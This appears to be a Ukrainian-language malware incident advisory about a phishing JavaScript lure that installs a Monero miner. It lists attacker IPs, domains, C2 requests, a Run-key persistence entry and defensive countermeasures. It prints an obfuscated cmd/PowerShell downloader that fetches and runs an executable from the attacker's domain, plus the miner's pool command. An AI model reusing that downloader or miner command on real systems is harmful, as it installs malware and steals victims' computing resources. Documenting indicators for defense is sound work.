завантаження payload – досі активна!

92.63.197.13      enterwords[.]ru   GET /uadoc/crsse.exe HTTP/1.1

(минулого разу - 104.31.86.241    enterwords[.]ru   GET /uadoc/crsse.exe HTTP/1.1)

трафік скомпрометованої системи – сервер контролю

92.63.197.13      honeyindoc[.]ru  POST / HTTP/1.1  (application/x-www-form-urlencoded)

92.63.197.13      honeyindoc[.]ru  POST / HTTP/1.1  (application/x-www-form-urlencoded)

92.63.197.13      honeyindoc[.]ru  POST / HTTP/1.1  (application/x-www-form-urlencoded)

(минулого разу - 104.27.140.34    honeyindoc[.]ru  POST / HTTP/1.1  (application/x-www-form-urlencoded)

 

Завантаження та активація Monero Miner

92.63.197.13      HTTP 134   parodadoca[.]ru  GET /panel/mr/curl.exe HTTP/1.1

92.63.197.13      HTTP 457   parodadoca[.]ru  GET /panel/gate.php?machine_id=?&x64=False&version=1&video_card=?cpu=?&junk=15.02.2018%2017:08:03 HTTP/1.1

92.63.197.13      HTTP 108   parodadoca[.]ru  GET /panel/updmr.php HTTP/1.1

92.63.197.13      HTTP 108   parodadoca[.]ru  GET /panel/updbt.php HTTP/1.1

Активність по процесам:

Запуск скрипта-приманки ініціює завантаження основної частини засобами Powershell


"C:\Windows\System32\WScript.exe" "C:\Users\operator\Desktop\Описание продукции.js"

"C:\Windows\System32\cmd.exe" /k set _a1=pow&& set _a2=ersh&& set _a3=ell&& call %_a1%%_a2%%_a3% $http_request = New-Object -ComObject Msxml2.XMLHTTP;$adodb = New-Object -ComObject ADODB.Stream;$path = $env:temp + '\11054.exe';$http_request.open('GET', 'h11p:\enterwords[.]ru/uadoc/crsse.exe', $false);$http_request.send();if($http_request.Status -eq "200"){$adodb.open();$adodb.type = 1;$adodb.write($http_request.responseBody);$adodb.position = 0;$adodb.savetofile($path);$adodb.close();}else{   Write-Host $http_request.statusText; }Start-Process $path;

powershell  $http_request = New-Object -ComObject Msxml2.XMLHTTP;$adodb = New-Object -ComObject ADODB.Stream;$path = $env:temp + '\11054.exe';$http_request.open('GET', ' h11p:\enterwords[.]ru/uadoc/crsse.exe', $false);$http_request.send();if($http_request.Status -eq "200"){$adodb.open();$adodb.type = 1;$adodb.write($http_request.responseBody);$adodb.position = 0;$adodb.savetofile($path);$adodb.close();}else{   Write-Host $http_request.statusText; }Start-Process $path;

"C:\tmp\11054.exe"

C:\Windows\SysWOW64\explorer.exe

C:\tmp\4A0C.tmp.exe

Запуск та ініціалізація майнера:

"C:\Users\operator\AppData\Roaming\MicroMon\curl.exe" -o pool.minexmr[.]com:4444 -u 43Zg4SdBjs3gh6g -p x --cpu-affinity 75

C:\Windows\SysWOW64\explorer.exe

Закріплення через HCU (так само як і минулого разу)

 

Clients                       c:\users\operator\appdata\roaming\microsoft\tjerrirf\rtdiubth.exe             

HKEY_USERS\S-1-5-21-136527031-2493574210-1221074019-1000\Software\Microsoft\Windows\CurrentVersion\Run

Контрзаходи:

  • Перевірка журналів мережевого обладнання по наданим маркерам
  • Блокування доступу до мережі Інтернет для процесу Powershell (варіант 1й)
  • Деактивація механізму Windows Script Host (варіант 2й)
  • Заборона створення та зчитування/запуску *.JS, *.VBS, *.EXE з каталогів профілю користувача %appdata%, а не лише у %temp% !
  • Заборона виклику Powershell через WSCript – додатково захистить від скриптів що йдуть як OLE об’єкти
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR